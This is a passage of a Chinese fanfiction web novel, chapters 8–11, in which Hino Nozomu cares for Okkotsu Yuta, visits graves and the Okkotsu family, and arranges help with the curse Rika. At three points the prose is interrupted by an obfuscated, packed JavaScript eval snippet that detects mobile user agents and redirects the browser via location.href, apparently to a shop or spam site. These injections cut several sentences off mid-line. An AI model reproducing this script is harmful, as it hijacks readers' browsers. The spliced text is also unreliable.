关门前,他把钱包、钥匙、写了自己手机号码的纸条统统塞给乙骨忧太,交代道:“我大概会睡七八个小时,你饿了就去吃饭,想吃什么随意,不用管我。另外,我有个快递中午会送到,如果那会儿我还没起床,你就帮我签收一下。最后,有事给我打电话,没事的话让我睡到自然醒。” “好的,哥哥。”乙骨忧太一一记下,乖乖跟哥哥道晚安。 乙骨忧太也回去睡了个回笼觉。 知道暑假还有一场旅行等着他们,短期内不用担心日野望会突然离开,他的心情明显轻松了不少,就连身体都变得轻盈,像是卸下了无形的负担。 这之后他没再做梦,睡得很香,一觉起来更是神清气爽。 窗外天光大亮,下了一夜的雨早就停了。 天空瓦蓝,阳光灿烂,他的心情也跟今天的天气一样明媚。 上午九点半,乙骨忧太起床成功。 洗漱完毕,他拿上日野望给的钱包和钥匙出门,在外面解决了早餐,又买了些菜回到家中。接着,他从杂物间翻出清洁用具,将一楼的房间仔仔细细打扫了一遍,该清洗的清洗,该替换的替换。他在家里也帮忙做过这些,所以并不陌生。 结束清扫,时间来到中午一点。 乙骨忧太穿着围裙,翻着新买的菜谱,用比学习还要认真的态度来研究做一顿美味的午餐时,门铃忽然响了。 应该是日野望提到的快递派送。 他正要去开门,Picci忽然从二楼飞了下来。 乙骨忧太惊喜地和它打了个招呼。 虽然已经得知Picci是一种仿生物匣兵器,但大概是它太过灵动和人性化,乙骨忧太很难将它当做没有感情的兵器看待,依旧把它视为哥哥养的宠物,甚至是伙伴。 “哥哥醒了吗?” Picci站在他肩上点点头。 乙骨忧太的目光顿时投向二楼楼梯口,似乎下一秒就能看到日野望的身影出现在那里。 “咕咕!” Picci抬起翅膀指向门口,提醒他还有个快递等着。乙骨忧太不好意思地挠挠脸:“抱歉,这就去开门!” 打开门,站在门口的人穿着一身黑西装,板着一张脸,根本不像物流公司的员工。 乙骨忧太注意到对方的视线在他肩上的Picci上停留了一会儿。 “你好?” “你好,日野望先生的快递。” “……”还真是送快递的啊? 对方双手递来一个银白色的金属手提箱,有些重量,不知道里面装的是什么。乙骨忧太接过后,西装男又掏出签收单,恭敬道:“请签收。” “啊,要盖印章吗?签字可以吗?”乙骨忧太话刚说完,肩上的Picci“咕”了一声,伸出右爪。 西装男配合地把签收单递过去,Picci在上面轻轻一踩,留下一朵小小的蓝色火焰。 乙骨忧太:“……” 从未设想过的快递签收方式增加了。 拿着签收单,西装男二话不说就告辞了。 乙骨忧太抱着箱子回到客厅,穿着家居服的日野望刚刚下楼。 “中午好,哥哥。” “嗯,中午好。” 日野望让他将手提箱放在桌上,注意到他穿着围裙,就顺嘴问了一句:“我闻到了咖喱的味道,你做的?” 乙骨忧太有些窘迫地说:“嗯,咖喱比较简单,我就试着做了点……” 日野望鼓励道:“闻起来就知道是一份好咖喱。做的多吗?我想尝一点。” “当然!我做了两人份。” 乙骨忧太愉快地给日野望盛咖喱去了。 咖喱确实是不容易出错的料理,哪怕是初学者都能轻松上手。当然,也不容易出彩就是了。 日野望从小就不挑食,但总体来说偏甜口。乙骨忧太明显记得,做的咖喱也是日本家常的甜咖喱,味道更加温和,就算刚起床的人吃也不会有负担。 咖喱就是普普通通的味道,相比起来,日野望其实更喜欢一同端上来的那道小菜。 他捧场地全部吃完了,对面露忐忑的乙骨忧太说道:“和我猜的一样,很好吃。不过,比起咖喱,这份小菜更让我惊喜,你是怎么做的?” 其实就是很简单的芝麻油拌盐渍卷心菜,乙骨忧太自己喜欢吃,这个菜做起来又很简单,就顺带做了端上来,倒是没想到意外合了日野望的胃口。 这让乙骨忧太更高兴了。 做了自己喜欢吃的东西端上来,意外收获了重视之人的喜欢和夸赞,快乐超级加倍都不足以形容他现在的好心情。 日野望洗碗的时候,乙骨忧太也不甘寂寞地围着他团团转,一会儿帮忙递清洁布,一会儿帮忙递碗,像一只快乐得根本闲不下来的小狗。 怎么说呢,很容易满足,挺可爱的。而且他这个样子,明显比阴郁自闭的状态好多了。日野望略感欣慰。 往后也多多夸奖他吧。 清理完厨房,两人又一鼓作气将房子剩下的地方打扫了。 在发现一楼的房间都被乙骨忧太打扫过后,日野望坦率地表达了自己的感谢和对他的夸赞。 乙骨忧太自己都觉得不好意思了,红着脸的模样还被日野望调侃说“害羞的样子也很可爱”。 这、这不是更让人难为情了吗! 乙骨忧太拿起清洁用具匆匆逃向二楼,强迫自己忽视身后传来的笑声。 “这就招架不住了?哼哼,还是太嫩了点。” 日野望提着吸尘器也上了二楼,一边走一边说:“忧太,哥哥我作为过来人给你个友情提示,脸皮太薄可是会吃亏的哦。” “……哥哥!” “嗯嗯,这就来。”日野望见好就收,不逗他了,免得待会儿里香又跳出来说他欺负忧太。 做完扫除已经是下午四点了,日野望看了一眼时间,换了衣服准备出门。 “去哪里?” “墓园。” “去看伯母吗?” “顺便把我爸的骨灰跟她葬在一起。” 乙骨忧太顿时收声,快乐小狗瞬间不快乐了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097954|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……怎么那副样子,我都不伤心。”日野望打好领带,回头就看到乙骨忧太欲言又止,小心翼翼地看着他。 乙骨忧太长着一双下垂眼,眼睛大而圆,本就显得温顺。他仰头看过来的样子,总让人觉得怎么欺负他都不会受到反抗。 日野望脱口而出:“你这样好像可怜的小狗狗哦。” 乙骨忧太:“……” 日野望捏了捏他的脸,觉得没什么肉,身上也瘦弱,看来得想个办法喂胖点。 “差不多该走了,我和管理员预约了上门时间。你要去吗?” “去!” 仙台公墓,一座座墓碑沉默地竖立在这里,埋葬着无数人的光阴和感情。 乙骨忧太抱着花束跟在日野望身边,看着他亲手将父亲的骨灰盒放进已经埋葬了母亲的双人墓中。 “这样就可以了吗?”一般来说不是应该请来僧侣做做法事吗? “嗯。太复杂的就不弄了,麻烦。我爸也不喜欢那些。” “哦。” 日野望看着墓碑,忽然说:“死亡是另一场旅途的开始。我们在这边为他们伤心,他们说不定在那边怎么快活呢。” 放下花束的乙骨忧太诧异地看过来。 日野望却没再说什么,问乙骨忧太:“要去祭拜里香吗?” “唔……去吧?” 一直以来怨灵里香都跟在他身边,他还真没去埋葬了她尸骨的地方祭拜过。 祈本里香的墓比较偏僻,在墓园的边缘角落。 女孩生前和祖母相依为命,后者因为一些事总是对孙女心存芥蒂,祖孙二人间的关系并不好。女孩去世后,葬礼办得潦草,墓地选得随意,维护得也不怎么尽心。 这边显然很少有人过来,墓碑风吹雨淋,长出不少青苔。 乙骨忧太看得心酸,找管理员借来水桶和刷子,将墓碑仔仔细细地清理了一遍。 他很认真,清理墓碑的同时,好像也在洗刷自己心中的某个角落。那里和眼前的墓碑一样,久未有人关照,尘封许久,不知藏匿容纳了多少污垢。 难得收敛的里香出现在他身后,哀戚地呼喊:“忧太……” “抱歉,里香,现在才来这里看望你。” “不、没关系……” 乙骨忧太收拾好清理工具,转身看向身躯庞大的怨灵里香,难得没有感到恐惧,心情平和地朝她露出笑容:“以后不会忘记了。” “呜……” 怨灵里香像个真正的小孩子那样哭起来,眼泪吧嗒吧嗒往下掉,让乙骨忧太手忙脚乱地安抚了一阵才止住。 本来日野望抱着花旁观,看到这一幕,他别开脸,视线落在天边。 太阳西落,半个天空都被染成了橙红色。 那样瑰丽的颜色,莫名让人觉得眼熟。 ……谁的眼睛是这个颜色的来着? 日野望想了想,自家BOSS点燃死气之炎后,他的眼睛好像就是这个颜色的。 可除了自家BOSS外,他总觉得应该还有一个人…… 到底是谁呢? 日野望还在苦思冥想,那边乙骨忧太已经结束了和里香的谈话,走到他身边。 “哥哥,我们回去吧。” “啊?嗯。” “怎么了?心不在焉的样子……” “想一些事情……算了,一时半会儿也想不起来,干脆想想晚餐吃什么吧。” “有一家专门做豆制品的店还不错。” “咦?我好像有点印象。” “最近好像有新品推出,怎么样,要不要去?” “当然要去试试啦。” 两人并肩行走在夕阳下,聊着再普通不过的日常。身后的影子拖得长长的,然后在下一个拐角转弯的时候,交汇纠缠在了一起。 9. 第 9 章 周日,日野望要到乙骨家拜访。 乙骨忧太换回自己的学生制服,抱着洗刷干净的书包,坐在沙发上,看日野望打领带。 他今天穿着一身深蓝色的格子西装,棕色的牛津鞋,精致但不严肃,颇具学院气质,像个体面的私立高校学生,举手投足间尽是精英式的自信与从容。 真好啊。 乙骨忧太下巴靠在书包上,目不转睛地注视着邻家哥哥。 日野望从小就是他的憧憬对象,“想要成为像哥哥那样的人”一度是他内心从未述说过的愿望。 “小提示,当你想要促成一件事的时候,选择一套合适的打扮会为你打响第一枪。” “欸?”乙骨忧太不明所以,“意思是,哥哥今天要办什么事吗?” 日野望心情不错地看过来:“社交也是一项重要的工作哦。” “啊……”说的是到他家拜访的事情吗?不必这么郑重吧?反正大家都是熟人……虽然好些年没见了。 “反正,”日野望走过来,伸手似乎想要摸摸他的头,不过想了想,改成了拍肩,“今天忧太多看看吧,之后提问我会解答的。” 乙骨忧太的好奇心被提起来了,将要归家的压力和排斥也减轻不少。 - 听说今天有客人上门拜访,还是他们搬家前的邻居。乙骨尤奈对这个人很有些好奇。 日野望这个名字她是听过的,从哥哥那里,从父母那里。对方出国时,她才两岁,还不记事,对他的印象多来自于父母兄长的描述。 哥哥提到他,用了“温柔”“可靠”“很有安全感”的形容。 父母提到他,说的是“优秀”“体贴懂事”“要是……也能像他那样就好了”。 印象最深的还是乙骨忧太说过的一句:“我也想像他那样,做一个能让尤奈感到自豪的哥哥。” 说这话时,乙骨忧太亮晶晶的眼神就让乙骨尤奈意识到,他的哥哥一定很喜欢那个人。 哥哥的哥哥……这怎么不让她感兴趣呢。 乙骨尤奈被妈妈派出来跑腿,等她拎着酱油从便利店出来,一眼就看到了自家哥哥。 他的心情看起来不错,和身边的人有说有笑,神态是家里少有的放松惬意。 这让乙骨尤奈感到诧异。 自从那个叫里香的姐姐出车祸后,哥哥就整日阴沉沉的,在家中也格外小心谨慎,好像随时都会蹚到地雷。稍微大声些和他说话都能吓到他,搞得家里气氛越来越古怪,时常让人喘不过气。 乙骨尤奈年纪虽小,但也懂事了。 她知道哥哥不是故意的,他也不想这么做,他也很辛苦,他在跟大家都看不见的东西抗争,阻止“那个东西”伤害他们。 然而问题就在这里,他们都看不见。 所以在周围人的眼里,乙骨忧太就是个经常和空气说话搏斗、一惊一乍的……有点问题的家伙。 乙骨尤奈不想和那些大人一样,用糟糕的字句来评价一直以来都在保护她的哥哥。这会让她觉得自己也变得很糟糕。 可是她太小了,在大人们面前根本没有说服力,帮不上哥哥什么忙。出于担心,她选择私底下关心和安慰哥哥,没想到,这一举动却给她带来了更大的危险。 在大脑反应过来之前,身体就已经受到了伤害。她自己都没意识到发生了什么,进入眼帘的就是哥哥慌张悔恨的脸,以及父母惊怒恐惧的模样。 那之后,乙骨忧太就很少靠近她了,甚至于连家里都不爱待了。放学后在外面待到很晚才回家,偶尔还弄得身上脏兮兮的,父母问起来就说社团活动,但谁都知道不是那么回事。 考虑到他从没受过伤,不像跟人打架的样子,乙骨忧太又再三保证自己不会去那些混乱糟糕的地方,大人们便睁一只眼闭一只眼,干脆放任不管了。 这件事看似被揭过去了,实际上已经在这个家里留下了一道深刻的印记。就像乙骨尤奈身上早已愈合却永远无法祛除的疤痕一样。 作为受害者的乙骨尤奈很想做点什么,挽回这个岌岌可危的家庭,奈何实在找不到突破口。 父母担心她留下心理创伤,对她避而不谈,她主动提及都会被快速岔开话题。 哥哥那边更是连衣角都抓不到,一旦发现有单独相处的可能,他自己就先扭头跑了,好像稍慢一步都会造成不可挽回的后果。 生活不易,尤奈叹气。 所以当她看到乙骨忧太放松下来,还露出了愉快的笑容时,乙骨尤奈顿时对那个叫日野望的大哥哥充满了好感和崇敬之情。 果然哥哥的哥哥就是不一样啊! 那样直勾勾的视线,日野望自然第一时间注意到了。 他转过头就看到一个扎双马尾的小女孩,五官和乙骨忧太有些相似,尤其是那双眼睛,又大又圆,温顺可亲,亮晶晶地看过来的样子,让日野望幻视了小时候跟在他身后的忧太小豆丁。 “尤奈?你怎么在这里?” 乙骨忧太同样看到了自家妹妹,本来还算轻松的心情瞬间紧张起来,根本迈不动脚步。 “妈妈让我来买酱油。” 乙骨尤奈举起手中的酱油瓶给他看。 “啊,哦……” 乙骨忧太匆匆点了下头,表示自己知道了,接着就没话说了。 他不是故意给妹妹摆脸色。在意识到怨灵里香对妹妹具有极强的攻击性后,乙骨忧太就竭力杜绝两者间的接触。而里香又是一直跟在他身边的,那他只能主动和妹妹拉开距离了。 兄妹俩之间像隔了楚河汉界,彼此站在两端遥遥相望。 日野望看一眼局促不安的乙骨忧太,再看一眼难掩失落的乙骨尤奈,脑筋一转就差不多猜到是怎么回事了。 他果断牵起乙骨忧太的手,与他一起走到乙骨尤奈面前,蹲下身平视,和后者打了个招呼:“你好啊,尤奈。好久不见,你还对我有印象吗?” 乙骨尤奈的注意力再次回到他身上,打起精神回答说:“我不记得了,但是听哥哥和妈妈他们提起过你,日野望哥哥,对吧?很高兴见到你。” “是吗?我的荣幸。” 日野望露出笑容,那双海一样蓝的眼睛温柔而专注地看着她,语气真挚地说:“我离开时,你才两岁多,看到你健康地长到这么大了,真令人欣喜。我的意思是……我也很高兴再次见到你。” 美貌暴击! 乙骨尤奈试图后退防御。 防御大失败! 被硬控的乙骨尤奈晕晕乎乎,连后来他们说了什么,怎么上的电梯都不记得了。 - 乙骨一家从一户建搬进了公寓,周围环境不错,就是邻里关系比较冷淡。 大家都忙着各自的生活与工作,十分有边界感。看到走在乙骨兄妹身边的日野望,哪怕再好奇也没有靠近,匆匆看一眼就别开了视线,完美体现了当下日本社会“绝不打扰别人”的观念。 对目前的乙骨家来说,住在这里确实能让他们更加自在一点。 “我回来了!”×2 “打扰了。” 玄关处传来孩子们的声音,乙骨夫人擦干手上的水,从厨房走出来一看,目光瞬间落在和丈夫说话的少年身上。 “好久不见,乙骨阿姨,您看起来还是那么年轻美丽。” 少年看过来,彬彬有礼地和她打招呼,顺带嘴甜地捧了她一把。 乙骨夫人先是一愣,继而捧着脸高兴地说:“哎呀,小望,好久不见!你都长这么高了!” 她接过日野望带来的礼物,招呼他快坐下。 “我这次回国得匆忙,没有带什么像样的礼物。这些是我在忧太的建议下临时购置的,希望你们能喜欢。” 虽是这样说,但日野望准备的拜访礼一点都不敷衍。礼盒包装精美,里面装着精致的手工点心和昂贵的葡萄酒,还单独准备了一份给乙骨尤奈的礼物。 既刷了乙骨夫妇的好感,还不动声色地帮乙骨忧太拉了存在感,让人很快就能想到“之所以能送上这么合心意的礼物,是因为忧太记得你们各自的喜好”,一下子就将家里的氛围炒的热闹又欢喜,好像家人间微妙的氛围和隔阂从未出现过。 哇,不愧是哥哥的哥哥。 乙骨尤奈抱着大哥哥送的布偶熊感叹不已。 坐下来聊天时,作为长辈的一方不免问起日野望和他爸爸的现状。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097955|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 日野望轻描淡写地给出“爸爸到美国芝加哥出差,不幸遇上开车逃窜的连环杀人犯,被流弹击中后身亡”这样的解释。 大概是日野望表现淡然,比起悲伤,乙骨一家第一时间感受到的还是震撼。 不过想想日野爸爸出差去的地方,瞬间又觉得无辜路过被枪击很正常了。 于是大家一起伤感缅怀了会儿,又配合着日野望转移了话题。 与他这个年纪的孩子聊天,长辈们不可避免地会提到学业问题。 乙骨先生对日野望声称提前毕业的事情接受程度良好。在他眼里,日野望一直都很优秀,能够做到这一点并不奇怪。 他只是好奇他念的是什么学校,教育如何,环境如何,就业率高不高等等。 “那是一所私人院校,奉行的是精英教育。” 核心内容是教你如何成为一名优秀的黑手党。 “由本地的几个老牌企业出钱资助。” 比如彭格列水产公司什么的。 “学校坐落在西西里东北一座名为萨利纳的小岛上,有大量淡水泉,森林覆盖率高,岛上有两个名为Monte dei Porri和Monte Fossa della Felci的火山口,古时希腊人将之称为Didyme,寓意为双胞胎。这也是学校的名字由来。” 当然,也有其更深的含义,暗指黑手党的“罪与罚”。 “学校就业率是挺高的,就是学习压力有点大。” 被送进学校的基本都是各家族的成员,当然不用担心就业问题。适应不了的基本很快就无了。 “资助学校的一个大老板很看好我,入职没有问题。” 倒是辞职比较麻烦,他写了一百多封辞职信都没成功呢。 “不过我刚跟着几位前辈完成一个大项目,有些累,想休息一阵子,就回国来了。” 把差点干翻彭格列的密鲁菲奥雷搞掉,这算是一个大项目吧?虽然他就做了点前期的情报工作……但卧底任务真的很辛苦啊,特别还是在白兰身边卧底。 尤其是那个家伙明明知道自己是卧底,拿出一堆情报胡萝卜似的吊着他,再给他塞一堆针对彭格列的任务,最后不想玩了就说了一句“真遗憾,我以为我们是朋友”,然后利索地把他嘎掉,让他躺了好一阵子的棺材板。 唉,每每想起前BOSS都觉得槽多无口,只有入江正一才能理解他的心累。 不知内情的乙骨夫妇击掌称赞道:“小望优秀啊!忧太、尤奈,你们要向哥哥多多学习才行。” 日野望笑而不语。 在乙骨家的这顿饭吃得是宾主尽欢。饭后,乙骨夫人把乙骨尤奈叫到厨房帮忙,乙骨先生则把日野望叫去了书房。 日野望猜测他应该是要跟自己谈一谈乙骨忧太的事情。 这其实在他的预料之内。 乙骨忧太身上的异常是没法瞒过家里人的。之前电话联系时,乙骨夫人听说他让乙骨忧太留宿家中,说话吞吞吐吐,想要提醒他却又不好直接摊开了说,明显是知道点什么的。 现在日野望如约将乙骨忧太安全送回家,两人的相处模式还是跟小时候那样亲近,乙骨忧太在他面前也更放松、自在,将一切看在眼里的乙骨夫妇自然想找个机会跟他聊聊。 乙骨忧太被独自留在客厅看电视,心思却根本不在上面,时不时看几眼书房紧闭的房门,像要透过门看到那个让他感到安心的身影。 之前还热热闹闹的客厅,现在只剩下他一个人。电视节目里的笑声再欢快,都没办法填补他心中的空洞。 乙骨尤奈从厨房探头出来看了一眼,果然发现哥哥又开始自闭了。 她叹了口气,可又不敢靠近。免得好好的一次拜访,又被奇怪的事情破坏了。 “尤奈,帮我拿一下盘子。” “好!” 看吧,就连爸爸妈妈都在有意地将他们分开。 时间好像过去很久,书房的门打开了。 乙骨忧太立刻抬头看了过去。 里面的人没有出来,日野望靠在门边冲他招手:“过来,忧太。” 乙骨忧太不假思索地朝他身边赶去。 10. 第 10 章 乙骨先生果然是找他谈自家大儿子的事情。 发生在乙骨忧太身上的异常,比起虚无缥缈的“鬼神”“脏东西”之说,家中的两个大人其实更倾向于,是乙骨忧太的精神状态出了点问题。 乙骨尤奈受伤的那次,他们也只是注意到两个孩子在二楼说悄悄话,突然乙骨忧太面露惊恐地大吵大闹起来,伸手去推他妹妹。乙骨尤奈撞到拐角的花瓶,与之一同滚下楼梯,最后倒在满地碎片中,血流了一地。虽然及时得到救治,但身上还是留了疤。 受到攻击时,乙骨尤奈曾短暂地看到了里香的存在。但那一眼太过短暂,连她自己都不确定那道模糊的影子是不是她的错觉,更别提说服父母相信了。 所以就算后面乙骨尤奈向父母解释“如果不是哥哥把我推开,我会受更严重的伤”,大人们也只当是懂事的妹妹对不成器的哥哥的维护,除了对她感到更心疼之外,还加深了对乙骨忧太的埋怨。 但是为了安抚乙骨尤奈,也为了避免再刺激乙骨忧太“发病”,他们最终选择了沉默,接受了“有什么东西攻击了尤奈”这样的说法。 后来他们带乙骨忧太去看了心理医生,效果还是有的,乙骨忧太不再对着空气说话,也没有再“发病”了。但他变得越发沉默,抗拒着周围人的靠近,封闭了内心世界,也不肯再去看心理医生。 乙骨夫妇拿他没辙,干脆放任了,对他的要求降低许多。如果说以前对他还有望子成龙的期待,现在只要他不惹是生非、不惹来邻居异样的眼神就行。 在这个社会,表现“异常”通常会遭到集体的排斥,甚至是霸凌。他们已经因为这一点搬过一次家,不想再发生这种事情了。 “……我也试过找忧太谈心,但那孩子根本就不配合,像个撬不开的蚌壳,一句话都不肯多说。” 乙骨先生大吐苦水,甚至不经意间会流露出一些负面情绪。他当然不是口无遮拦的人,但经不住日野望的旁敲侧击,三两下就把埋藏在心中的想法给挖出来了。 好好的一个家,隔阂越来越大。不光乙骨尤奈想要挽回,乙骨夫妇其实也想,只是无从下手罢了。 如今日野望的回归让他们看到了一丝希望,这不就来找他帮忙了么。 “那孩子很信任你。有你在身边,他看起来轻松了很多,脸上也有笑容,比他平时在家还要自在。”乙骨先生说着抹了一把脸,有些挫败,“很惭愧,作为父母的我们却没办法做到这一点。” “您不必自责。” 日野望其实能理解他们。 大人们并不是万能的,他们也有做不到的事情,他们也有自己的烦恼,工作上的、生活上的、人际交往上的……每天的日子过得忙忙碌碌,压力很大,回到家中还不能放松,简直就是折磨。 看着难掩疲态的乙骨先生,日野望还是决定,不把诅咒的事情全盘托出。 活了三四十岁,从未接触过超自然现象,对世界的认知已经根深蒂固,对“幽灵”的接受程度自然比小孩子低。 最重要的是,恐惧来源于未知。 如果突然得知生活中竟然还有这样的存在,那他们会不会产生新的压力? 毕竟他们是看不见诅咒的,而诅咒又诞生自人体溢出的负面能量,谁能保证自己不会产生负面情绪呢? 如果不能,谁又能确定自己不会被诅咒缠上? 从此以后,他们还敢不敢走夜路? 会不会一点点风吹草动都能引起他们的警惕,以至于整日生活在担惊受怕中? 还有,他们又会怎样看待与诅咒纠缠的乙骨忧太? 要将事情的来龙去脉全部解释清楚,那就不可避免地提到里香。 乙骨家会怎么看待死去后变成诅咒纠缠乙骨忧太,攻击了乙骨尤奈,差点让这个家四分五裂的里香呢?大概不会有什么好想法,这是可以预见的。 但对乙骨忧太来说,虽然里香现在变成了诅咒,可她曾经是陪伴了自己很长时间的人。怨灵里香伤害妹妹让他觉得很痛苦,若是听到家人对里香的攻讦,他难道就不会感到难过了吗? 出于多方考虑,日野望想着,与其给乙骨家增添更多烦恼,还不如维持在当下这个可进可退的局面上。就算真的有一天要告诉乙骨一家真相,那也得是乙骨忧太本人的意愿和选择。 “反正我会休假一段时间,不如让忧太住到我家里来吧。” 他笑着对乙骨先生提议说。 “正好暑假的时候,我要出去旅游,想带忧太同行,不然一个人的旅程也太寂寞了点。就让我带他出去散散心吧,多看看外面的世界,多接触各种类型的人,还能开阔眼界。您觉得怎么样?” 乙骨先生听完一喜,接着有些不好意思地摸摸脑袋:“这不是太麻烦你了吗?” “这有什么,以前我也受过您和阿姨不少照顾,那会儿没少麻烦你们。而且我和忧太从小就合得来,说是我带了他一段时间,不如说是我们互相陪伴,如今不过是长大了几岁而已。而且,忧太现在也会照顾人了,昨天帮我打扫了卫生,还试着下厨做饭呢。” 日野望目光和煦地看着乙骨先生,耐心宽慰道:“这个年纪的男孩子多少有些难搞,不过别担心,忧太是个好孩子,只是不善于表达罢了。这一点我向您保证。” 乙骨先生动容,纠成疙瘩的眉心肉眼可见地舒展开了。 他郑重地对日野望说:“那就拜托你了。” “交给我吧。” 谈话告一段落,日野望开门叫来乙骨忧太,让他回房收拾收拾。 “欸?” “一个人住有些太孤单了,所以我跟叔叔商量了下,让忧太到我那儿住到暑假,然后我们就去旅游,怎么样?” “真的可以吗?” “当然。” 乙骨忧太眼睛亮晶晶的,表情明显鲜活了许多。 乙骨先生心情复杂,咳了一声,引来两人注意。他端着家长架子对乙骨忧太说:“要听话,别给哥哥添麻烦,知道吗?” “嗯。”乙骨忧太乖乖点头,然后迫不及待地回房收拾行李去了。 哪怕知道他俩感情好,乙骨先生还是不免有些酸溜溜地:“真是的,跟小时候一样毛毛躁躁。” 日野望笑着说:“活泼一点不是很好嘛。” 乙骨先生无奈摇头。但其实看得出来,他的心情轻松了不少,都能开两句玩笑了。 解决了积压在心头的事情,乙骨先生饶有兴致地和日野望聊起了工作,试图给他传授一些身为老社畜人的经验。 虽然这些经验他大概是用不到的,但日野望没有露出异样,时不时捧场地应和两句,或者夸赞两声,给足了情绪价值。 以至于被敲门声打断时,乙骨先生还有些意犹未尽。 得知乙骨忧太要住到日野望家,乙骨尤奈有些高兴又有些失落。高兴是因为哥哥明显很期待,失落则是单纯地舍不得了。 毕竟那是她的哥哥啊。 他跟着邻家大哥哥走了,倒是把她这个妹妹留家里了,有种“你出去玩竟然不带我”的感觉。 不过看在哥哥那么辛苦的份上,原谅他了。 离开前,乙骨夫妇给乙骨忧太塞了生活费,忍不住多叮嘱了他几句。 乙骨尤奈趁机把日野望拉到一边,要和他说悄悄话。 日野望蹲下来,耐心而宽容地看着她。 乙骨尤奈板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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虽然她看不清攻击她的“那个东西”,但那一瞬间爆发出来的恶意,足以冻结她的所有动作与思绪,令她仿佛坠入无底深渊,也让她从未有一刻离死亡那么近过。 乙骨夫妇刚交代完大儿子,扭头就看到小女儿正抱着日野望汪汪大哭。 “……”乙骨夫妇面面相觑。 本就心不在焉的乙骨忧太赶忙凑过去问:“怎么了?” 日野望摸摸小妹妹的脑袋,哭笑不得地说:“舍不得哥哥吧?” 乙骨尤奈没有反驳,含糊地“嗯”了一声。 “啊……” 乙骨忧太有些抱歉地看着妹妹。他光顾着自己高兴了,倒是忽略了妹妹的想法。 小姑娘擦擦眼泪,一字一句地,跟个小大人似的说:“没关系,一个人住的话,确实很孤单,我支持哥哥住过去陪大哥哥。还有,哥哥要听大哥哥的话,我在家里也会听爸爸妈妈的话,我们都要好好吃饭和睡觉,要健康不要生病。最后,哥哥记得给我打电话,出去玩也要记得给我带伴手礼。” 乙骨忧太觉得心里柔软的地方被戳了一下又一下。 “好,哥哥答应你。”他郑重地一一应下。 乙骨尤奈扑上去用力抱了他一下,赶在里香出来之前飞快撒开,哒哒哒跑到父母身边。 日野望握住乙骨忧太的手,镇静的火焰悄无声息在背后铺开,抚平了里香暴动的咒力。 乙骨忧太高悬的心平稳落地,从容地与父母妹妹道别。 “那,我们走了。” “嗯,好好照顾自己!” “好。” 11. 第 11 章 跟着日野望回家的路上,乙骨忧太本来以为自己的心情应该是轻松且愉快的,但实际上并不是这样。 日野望留意到了他的沉默,当然不给他自闭的机会:“想什么呢,这么入神?” 乙骨忧太抿着嘴,有些内疚地说:“我觉得我不是个好哥哥。” “为什么?” “没有保护好尤奈,还让她为我操心。” 他看不见乙骨尤奈对自己的维护,以及为挽回家庭做出的努力吗?当然不是。奈何他连自己的善意都无法表达,还得想办法远离妹妹以保证她的人身安全。 说实话,当初面对里香展露的敌意,乙骨忧太情急之下选择将乙骨尤奈推开,却也导致她摔下楼梯伤重留疤后,他就没想过能得到妹妹的原谅。 然而他的妹妹非但没有责怪他,反而善解人意地宽慰他,甚至在父母面前处处维护他,这无疑让乙骨忧太更加内疚。 这就导致那之后一旦面对乙骨尤奈,乙骨忧太就觉得自己被巨大的负罪感淹没,几乎让他感到窒息。 久而久之,他就开始避着乙骨尤奈走了。一方面的确是出于她的安全考虑,另一方面则是对她产生了逃避心理。 曾经他还对乙骨尤奈说过,想要做个能让她提起来就感到自豪的哥哥……可现在,他能不给妹妹添麻烦就很好了。 做哥哥做到他这样的地步,也是没谁了。 乙骨忧太叹了口气。 日野望却在这时说:“我不这么认为哦。” “?” 乙骨忧太眼巴巴地看着日野望,想从他心中的模范大哥哥那儿听一听见解。 “我始终觉得,爱是互相的,它同样也是映照心灵的镜子。如果忧太不是一个好哥哥,那就没法得到尤奈全心全意的维护。” 乙骨忧太抿唇不语,周身散发着低落的气息。 日野望顿时幻视一只委屈巴巴的小狗。 他嘴角含笑,揉揉小狗的脑袋,安抚说:“忧太和尤奈都是好孩子,造成如今的局面不是你们的问题,所以不必感到自责。接下来我们想办法去解决问题本身就好。” 问题本身是什么呢?当然是纠缠着乙骨忧太的诅咒了。 所以回去之后,日野望就当着乙骨忧太的面,联系了一级咒术师冥冥。 冥冥为他这么快就联络自己感到惊讶。不过外快送上门,总归令人心情愉悦,因而她没有推脱,面对日野望提出“希望能严格保密”的附加要求也是爽快答应了——毕竟,他加钱了,还不少。 不过冥冥现在不在本州岛,她手上还有个二级任务,当天是没办法赶回来的。再加上日野望要求这次委托对外保密,潜在含义不就是想避免引起咒术界的注意吗?那处理这件事更不能急了。 双方商量了一下,很快敲定上门时间为周二晚上,地点则定在仙台港的某个仓库。 日野望挂掉电话,对乖乖坐在旁边的乙骨忧太进行提问:“就没有什么想问的?” 乙骨忧太摇头。 在他看来,日野望做什么都有他的道理。 “要是我把你骗到仓库那边,联合外人将你卖给咒术界呢?” 日野望托腮看着他,一双眼睛幽深沉静,像极了深邃神秘的大海。 “你看,你的父母妹妹都将你拜托给我了,而且他们完全信任我,就算你回头向他们求助,也不一定能取到什么效果。唯一能保护你的里香,对我来说也不算威胁。” 